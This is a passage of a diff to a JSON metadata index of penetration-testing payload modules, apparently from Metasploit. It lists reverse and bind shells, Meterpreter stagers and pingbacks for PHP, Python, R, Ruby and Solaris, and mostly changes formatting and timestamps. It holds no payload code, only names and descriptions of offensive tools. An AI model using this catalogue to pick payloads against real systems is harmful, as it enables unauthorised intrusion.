"autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_socat_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_socat_sctp", + "staged": false + }, + "payload_php/unix/cmd/reverse_socat_tcp": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via socat)", + "fullname": "payload/php/unix/cmd/reverse_socat_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jheysel-r7" + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via socat", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_socat_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_socat_tcp", + "staged": false + }, + "payload_php/unix/cmd/reverse_socat_udp": { + "name": "OS Command Exec, Unix Command Shell, Reverse UDP (via socat)", + "fullname": "payload/php/unix/cmd/reverse_socat_udp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via socat", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_socat_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_socat_udp", + "staged": false + }, + "payload_php/unix/cmd/reverse_ssh": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP SSH", + "fullname": "payload/php/unix/cmd/reverse_ssh", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan ", + "hirura" + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via SSH", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_ssh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_ssh", + "staged": false + }, + "payload_php/unix/cmd/reverse_ssl_double_telnet": { + "name": "OS Command Exec, Unix Command Shell, Double Reverse TCP SSL (telnet)", + "fullname": "payload/php/unix/cmd/reverse_ssl_double_telnet", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm ", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_ssl_double_telnet", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_ssl_double_telnet", + "staged": false + }, + "payload_php/unix/cmd/reverse_stub": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (stub)", + "fullname": "payload/php/unix/cmd/reverse_stub", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell through an inbound connection (stub only, no payload)", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_stub", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_stub", + "staged": false + }, + "payload_php/unix/cmd/reverse_tclsh": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Tclsh)", + "fullname": "payload/php/unix/cmd/reverse_tclsh", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bcoles " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via Tclsh", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_tclsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_tclsh", + "staged": false + }, + "payload_php/unix/cmd/reverse_zsh": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Zsh)", + "fullname": "payload/php/unix/cmd/reverse_zsh", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Doug Prostko ", + "Wang Yihang " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via Zsh. Note: Although Zsh is often\navailable, please be aware it isn't usually installed by default.", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_zsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_zsh", + "staged": false + }, + "payload_python/exec": { + "name": "Python Execute Command", + "fullname": "payload/python/exec", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2024-10-04 10:43:40 +0000", + "path": "/modules/payloads/singles/python/exec.rb", + "is_install_path": true, + "ref_name": "python/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/meterpreter/bind_tcp": { + "name": "Python Meterpreter, Python Bind TCP Stager", + "fullname": "payload/python/meterpreter/bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/bind_tcp.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" + }, + "payload_python/meterpreter/bind_tcp_uuid": { + "name": "Python Meterpreter, Python Bind TCP Stager with UUID Support", + "fullname": "payload/python/meterpreter/bind_tcp_uuid", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "OJ Reeves" + ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/bind_tcp_uuid.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" + }, + "payload_python/meterpreter/reverse_http": { + "name": "Python Meterpreter, Python Reverse HTTP Stager", + "fullname": "payload/python/meterpreter/reverse_http", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/reverse_http.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" + }, + "payload_python/meterpreter/reverse_https": { + "name": "Python Meterpreter, Python Reverse HTTPS Stager", + "fullname": "payload/python/meterpreter/reverse_https", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/reverse_https.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" + }, + "payload_python/meterpreter/reverse_tcp": { + "name": "Python Meterpreter, Python Reverse TCP Stager", + "fullname": "payload/python/meterpreter/reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/reverse_tcp.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" + }, + "payload_python/meterpreter/reverse_tcp_ssl": { + "name": "Python Meterpreter, Python Reverse TCP SSL Stager", + "fullname": "payload/python/meterpreter/reverse_tcp_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ben Campbell ", + "RageLtMan" + ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/reverse_tcp_ssl.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" + }, + "payload_python/meterpreter/reverse_tcp_uuid": { + "name": "Python Meterpreter, Python Reverse TCP Stager with UUID Support", + "fullname": "payload/python/meterpreter/reverse_tcp_uuid", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "OJ Reeves" + ], + "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 11:11:01 +0000", + "path": "/modules/payloads/stagers/python/reverse_tcp_uuid.rb", + "is_install_path": true, + "ref_name": "python/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" + }, + "payload_python/meterpreter_bind_tcp": { + "name": "Python Meterpreter Shell, Bind TCP Inline", + "fullname": "payload/python/meterpreter_bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Connect to the victim and spawn a Meterpreter shell", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb", + "is_install_path": true, + "ref_name": "python/meterpreter_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/meterpreter_reverse_http": { + "name": "Python Meterpreter Shell, Reverse HTTP Inline", + "fullname": "payload/python/meterpreter_reverse_http", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Connect back to the attacker and spawn a Meterpreter shell", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb", + "is_install_path": true, + "ref_name": "python/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/meterpreter_reverse_https": { + "name": "Python Meterpreter Shell, Reverse HTTPS Inline", + "fullname": "payload/python/meterpreter_reverse_https", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Connect back to the attacker and spawn a Meterpreter shell", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb", + "is_install_path": true, + "ref_name": "python/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/meterpreter_reverse_tcp": { + "name": "Python Meterpreter Shell, Reverse TCP Inline", + "fullname": "payload/python/meterpreter_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Connect back to the attacker and spawn a Meterpreter shell", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "python/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/pingback_bind_tcp": { + "name": "Python Pingback, Bind TCP (via python)", + "fullname": "payload/python/pingback_bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "asoto-r7" + ], + "description": "Listens for a connection from the attacker, sends a UUID, then terminates", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/pingback_bind_tcp.rb", + "is_install_path": true, + "ref_name": "python/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/pingback_reverse_tcp": { + "name": "Python Pingback, Reverse TCP (via python)", + "fullname": "payload/python/pingback_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "asoto-r7" + ], + "description": "Connects back to the attacker, sends a UUID, then terminates", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/pingback_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "python/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/shell_bind_tcp": { + "name": "Command Shell, Bind TCP (via python)", + "fullname": "payload/python/shell_bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "mumbai" + ], + "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/shell_bind_tcp.rb", + "is_install_path": true, + "ref_name": "python/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/shell_reverse_sctp": { + "name": "Command Shell, Reverse SCTP (via python)", + "fullname": "payload/python/shell_reverse_sctp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-08 06:44:37 +0000", + "path": "/modules/payloads/singles/python/shell_reverse_sctp.rb", + "is_install_path": true, + "ref_name": "python/shell_reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/shell_reverse_tcp": { + "name": "Command Shell, Reverse TCP (via python)", + "fullname": "payload/python/shell_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Ben Campbell " + ], + "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/shell_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "python/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/shell_reverse_tcp_ssl": { + "name": "Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/python/shell_reverse_tcp_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb", + "is_install_path": true, + "ref_name": "python/shell_reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_python/shell_reverse_udp": { + "name": "Command Shell, Reverse UDP (via python)", + "fullname": "payload/python/shell_reverse_udp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [], + "platform": "Python", + "arch": "python", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/python/shell_reverse_udp.rb", + "is_install_path": true, + "ref_name": "python/shell_reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_r/shell_bind_tcp": { + "name": "R Command Shell, Bind TCP", + "fullname": "payload/r/shell_bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Continually listen for a connection and spawn a command shell via R", + "references": [], + "platform": "R", + "arch": "r", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/r/shell_bind_tcp.rb", + "is_install_path": true, + "ref_name": "r/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_r/shell_reverse_tcp": { + "name": "R Command Shell, Reverse TCP", + "fullname": "payload/r/shell_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Connect back and create a command shell via R", + "references": [], + "platform": "R", + "arch": "r", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/r/shell_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "r/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_ruby/pingback_bind_tcp": { + "name": "Ruby Pingback, Bind TCP", + "fullname": "payload/ruby/pingback_bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "asoto-r7" + ], + "description": "Listens for a connection from the attacker, sends a UUID, then terminates", + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-19 19:02:28 +0000", + "path": "/modules/payloads/singles/ruby/pingback_bind_tcp.rb", + "is_install_path": true, + "ref_name": "ruby/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_ruby/pingback_reverse_tcp": { + "name": "Ruby Pingback, Reverse TCP", + "fullname": "payload/ruby/pingback_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "asoto-r7" + ], + "description": "Connect back to the attacker, sends a UUID, then terminates", + "references": [], + "platform": "Ruby", + "arch": "ruby", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-19 19:02:28 +0000", + "path": "/modules/payloads/singles/ruby/pingback_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "ruby/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_ruby/shell_bind_tcp": { + "name": "Ruby Command Shell, Bind TCP", + "fullname": "payload/ruby/shell_bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn ", + "hdm " + ], + "description": "Continually listen for a connection and spawn a command shell via Ruby", + "references": [], + "platform": "Ruby", + "arch": "ruby", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/ruby/shell_bind_tcp.rb", + "is_install_path": true, + "ref_name": "ruby/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_ruby/shell_bind_tcp_ipv6": { + "name": "Ruby Command Shell, Bind TCP IPv6", + "fullname": "payload/ruby/shell_bind_tcp_ipv6", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn ", + "hdm " + ], + "description": "Continually listen for a connection and spawn a command shell via Ruby", + "references": [], + "platform": "Ruby", + "arch": "ruby", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb", + "is_install_path": true, + "ref_name": "ruby/shell_bind_tcp_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_ruby/shell_reverse_tcp": { + "name": "Ruby Command Shell, Reverse TCP", + "fullname": "payload/ruby/shell_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn ", + "hdm " + ], + "description": "Connect back and create a command shell via Ruby", + "references": [], + "platform": "Ruby", + "arch": "ruby", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", + "path": "/modules/payloads/singles/ruby/shell_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "ruby/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_ruby/shell_reverse_tcp_ssl": { + "name": "Ruby Command Shell, Reverse TCP SSL", + "fullname": "payload/ruby/shell_reverse_tcp_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Connect back and create a command shell via Ruby, uses SSL", + "references": [], + "platform": "Ruby", + "arch": "ruby", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb", "is_install_path": true, "ref_name": "ruby/shell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251228,9 +253325,7 @@ "payload_solaris/sparc/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", "fullname": "payload/solaris/sparc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251238,24 +253333,21 @@ "vlad902 " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "sparc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "solaris/sparc/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251264,9 +253356,7 @@ "payload_solaris/sparc/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", "fullname": "payload/solaris/sparc/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251274,24 +253364,21 @@ "vlad902 " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "sparc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + 